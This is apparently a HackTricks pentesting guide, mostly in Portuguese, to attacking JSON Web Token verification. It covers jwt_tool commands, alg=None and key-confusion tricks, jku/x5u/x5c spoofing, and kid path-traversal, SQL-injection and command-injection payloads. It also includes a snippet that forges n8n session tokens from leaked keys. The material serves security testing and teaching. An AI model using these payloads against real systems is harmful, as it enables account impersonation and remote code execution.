Vulnerabilidades de JWT (Json Web Tokens)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Parte deste post é baseada no excelente post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor da excelente ferramenta para pentest de JWTs https://github.com/ticarpi/jwt_tool
Resultados Rápidos
Execute jwt_tool com o modo All Tests! e aguarde linhas verdes
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Se tiver sorte, a ferramenta vai encontrar algum caso em que a aplicação web está verificando incorretamente o JWT:
.png)
Então, você pode procurar a requisição no seu proxy ou fazer dump do JWT usado para essa requisição usando a ferramenta jwt_:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.
Manipular dados sem alterar a assinatura
Você pode simplesmente manipular os dados mantendo a assinatura como está e verificar se o servidor está checando a assinatura. Tente alterar seu username para “admin”, por exemplo.
O token é verificado?
- Uma mensagem de erro sugere que há verificação em andamento; reveja detalhes sensíveis em erros verbosos.
- Uma alteração na página retornada também indica verificação.
- Nenhuma alteração sugere ausência de verificação; é nesse caso que se deve experimentar manipular claims do payload.
Origin
É importante determinar se o token foi gerado server-side ou client-side examinando o histórico de requisições do proxy.
- Tokens vistos primeiro no client-side sugerem que a key pode estar exposta ao código client-side, exigindo investigação adicional.
- Tokens originados no server-side indicam um processo mais seguro.
Duration
Verifique se o token dura mais de 24h… talvez nunca expire. Se existir o campo “exp”, verifique se o servidor está lidando corretamente com ele.
Brute-force HMAC secret
Derive JWT secrets from leaked config + DB data
Se uma leitura arbitrária de arquivo (ou backup leak) expõe tanto application encryption material quanto user records, às vezes você pode recriar o JWT signing secret e forjar cookies de sessão sem conhecer as senhas em plaintext. Padrão de exemplo observado em stacks de workflow automation:
- Leak the app key (e.g.,
encryptionKey) from a config file. - Leak the user table to obtain
email,password_hash, anduser_id. - Derivar o signing secret a partir da key, e então derivar o hash por usuário esperado no JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- Coloque o token assinado no cookie de sessão (por exemplo,
n8n-auth) para se passar pela conta do usuário/admin mesmo que o hash da senha esteja salgado.
Modify the algorithm to None
Set the algorithm used as “None” and remove the signature part.
Use the Burp extension call “JSON Web Token” to try this vulnerability and to change different values inside the JWT (send the request to Repeater and in the “JSON Web Token” tab you can modify the values of the token. You can also select to put the value of the “Alg” field to “None”).
Alterar o algoritmo RS256 (assimétrico) para HS256 (simétrico) (CVE-2016-5431/CVE-2016-10555)
The algorithm HS256 uses the secret key to sign and verify each message.
The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.
Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Nova chave pública dentro do cabeçalho
Um atacante insere uma nova chave no cabeçalho do token e o servidor usa essa nova chave para verificar a assinatura (CVE-2018-0114).
Isso pode ser feito com a extensão “JSON Web Tokens” do Burp.
(Envie a request para o Repeater, dentro da aba JSON Web Token selecione “CVE-2018-0114” e envie a request).
JWKS Spoofing
As instruções descrevem um método para avaliar a segurança de tokens JWT, particularmente aqueles que usam a claim de header “jku”. Essa claim deve apontar para um arquivo JWKS (JSON Web Key Set) que contém a chave pública necessária para a verificação do token.
-
Avaliar tokens com header “jku”:
-
Verifique a URL da claim “jku” para garantir que ela leva ao arquivo JWKS apropriado.
-
Modifique o valor “jku” do token para apontar para um serviço web controlado por você, permitindo observação do tráfego.
-
Monitorando a interação HTTP:
-
Observar requisições HTTP para sua URL especificada indica que o servidor está tentando buscar chaves no link que você forneceu.
-
Ao usar
jwt_toolpara esse processo, é crucial atualizar o arquivojwtconf.inicom o local do seu JWKS para facilitar os testes. -
Comando para
jwt_tool: -
Execute o seguinte comando para simular o cenário com
jwt_tool:
python3 jwt_tool.py JWT_HERE -X s
Kid Issues Overview
Uma claim opcional no header chamada kid é utilizada para identificar uma chave específica, o que se torna particularmente importante em ambientes onde existem múltiplas chaves para verificação da assinatura do token. Essa claim ajuda a selecionar a chave apropriada para verificar a assinatura do token.
Revelando a chave através do “kid”
Quando a claim kid está presente no header, é recomendado procurar no diretório web pelo arquivo correspondente ou suas variações. Por exemplo, se "kid":"key/12345" for especificado, deve-se procurar os arquivos /key/12345 e /key/12345.pem na raiz web.
Path Traversal com “kid”
A claim kid também pode ser explorada para navegar pelo sistema de arquivos, potencialmente permitindo a seleção de um arquivo arbitrário. É possível testar conectividade ou executar ataques SSRF alterando o valor de kid para direcionar a arquivos ou serviços específicos. Alterar o JWT para modificar o valor de kid mantendo a assinatura original pode ser feito usando a flag -T no jwt_tool, como demonstrado abaixo:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Ao mirar arquivos com conteúdo previsível, é possível forjar um JWT válido. Por exemplo, o arquivo /proc/sys/kernel/randomize_va_space em sistemas Linux, conhecido por conter o valor 2, pode ser usado no parâmetro kid com 2 como senha simétrica para geração do JWT.
SQL Injection via “kid”
Se o conteúdo da claim kid for usado para buscar uma senha em um banco de dados, uma SQL injection pode ser facilitada ao modificar o payload de kid. Um payload de exemplo que usa SQL injection para alterar o processo de assinatura do JWT inclui:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Essa alteração força o uso de uma chave secreta conhecida, ATTACKER, para assinar o JWT.
OS Injection through “kid”
Um cenário em que o parâmetro kid especifica um caminho de arquivo usado dentro de um contexto de execução de comando pode levar a vulnerabilidades de Remote Code Execution (RCE). Ao injetar comandos no parâmetro kid, é possível expor chaves privadas. Um payload de exemplo para obter RCE e exposição de chaves é:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku stands for JWK Set URL.\ Se o token usar uma “jku” Header claim então verifique a URL fornecida. Esta deve apontar para uma URL contendo o arquivo JWKS que contém a Public Key para verificar o token. Modifique o token para apontar o valor jku para um serviço web cujo tráfego você possa monitorar.
Primeiro você precisa criar um novo certificado com novas chaves privadas e públicas
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Em seguida, você pode usar por exemplo jwt.io para criar o novo JWT com as created public and private keys e apontando o parâmetro jku para o certificado criado. Para criar um certificado jku válido, você pode baixar o original e alterar os parâmetros necessários.
Você pode obter os parâmetros “e” e “n” de um certificado público usando:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. Uma URI apontando para um conjunto de certificados públicos X.509 (um padrão de formato de certificado) codificados em PEM. O primeiro certificado no conjunto deve ser o que foi usado para assinar este JWT. Os certificados subsequentes assinam cada um o anterior, completando assim a cadeia de certificados. X.509 é definido no RFC 52807 . Segurança de transporte é necessária para transferir os certificados.
Tente alterar este header para um URL sob seu controle e verifique se alguma requisição é recebida. Nesse caso você poderia adulterar o JWT.
Para forjar um novo token usando um certificado controlado por você, você precisa criar o certificado e extrair as chaves pública e privada:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Então você pode usar, por exemplo, jwt.io para criar o novo JWT com as chaves pública e privada criadas e apontando o parâmetro x5u para o certificado .crt criado.
.png)
Você também pode abusar de ambas as vulns para SSRFs.
x5c
Este parâmetro pode conter o certificado em base64:
.png)
Se o atacante gerar um certificado autoassinado e criar um token forjado usando a chave privada correspondente, substituir o valor do parâmetro “x5c” pelo certificado recém-gerado e modificar os outros parâmetros, nomeadamente n, e e x5t, então, essencialmente, o token forjado seria aceito pelo servidor.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Embedded Public Key (CVE-2018-0114)
Se o JWT tiver uma public key embutida como no seguinte cenário:
.png)
Usando o seguinte script nodejs, é possível gerar uma public key a partir desses dados:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
É possível gerar uma nova chave privada/pública, embutir a nova chave pública dentro do token e usá-la para gerar uma nova assinatura:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Você pode obter os “n” e “e” usando este script nodejs:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finalmente, usando a public and private key e os novos valores “n” e “e” você pode usar jwt.io para forjar um novo JWT válido com qualquer informação.
ES256: Revelando a private key com mesmo nonce
Se algumas aplicações usam ES256 e usam o mesmo nonce para gerar dois jwts, a private key pode ser restaurada.
Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
A reivindicação JTI (JWT ID) fornece um identificador único para um JWT Token. Pode ser usada para evitar que o token seja replayed.
No entanto, imagine uma situação em que o comprimento máximo do ID é 4 (0001-9999). As requisições 0001 e 10001 vão usar o mesmo ID. Portanto, se o backend estiver incrementando o ID a cada requisição, você poderia abusar disso para replay a request (necessitando enviar 10000 requisições entre cada replay bem-sucedido).
JWT Registered claims
Other attacks
Cross-service Relay Attacks
Observou-se que algumas aplicações web dependem de um JWT service confiável para a geração e gerenciamento dos seus tokens. Há registros em que um token gerado para um client pelo JWT service foi aceito por outro client do mesmo JWT service. Se for observado o issuance ou renewal de um JWT via um serviço third-party, deve-se investigar a possibilidade de signing up para uma conta em outro client desse serviço usando o mesmo username/email. Deve-se então tentar replay the obtained token em uma requisição para o target para ver se ele é aceito.
- A aceitação do seu token pode indicar um problema crítico, potencialmente permitindo o spoofing de qualquer conta de usuário. Contudo, deve-se observar que permissão para testes mais amplos pode ser necessária se for preciso fazer signing up em uma third-party application, pois isso pode entrar numa área legal cinzenta.
Expiry Check of Tokens
A expiração do token é verificada usando a claim “exp” do Payload. Considerando que JWTs são frequentemente empregados sem informação de sessão, é necessário um manuseio cuidadoso. Em muitos casos, capturar e replay another user’s JWT pode permitir a impersonation desse usuário. A JWT RFC recomenda mitigar JWT replay attacks utilizando a claim “exp” para definir um tempo de expiração para o token. Além disso, é crucial que a aplicação implemente verificações relevantes para garantir o processamento desse valor e a rejeição de tokens expirados. Se o token inclui uma claim “exp” e os limites de tempo de teste permitirem, é aconselhável armazenar o token e replayá-lo após o tempo de expiração ter passado. O conteúdo do token, incluindo parsing de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a opção -R do jwt_tool.
- Um risco de segurança pode existir se a aplicação ainda validar o token, pois isso pode implicar que o token nunca expira.
Tools
GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens
References
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


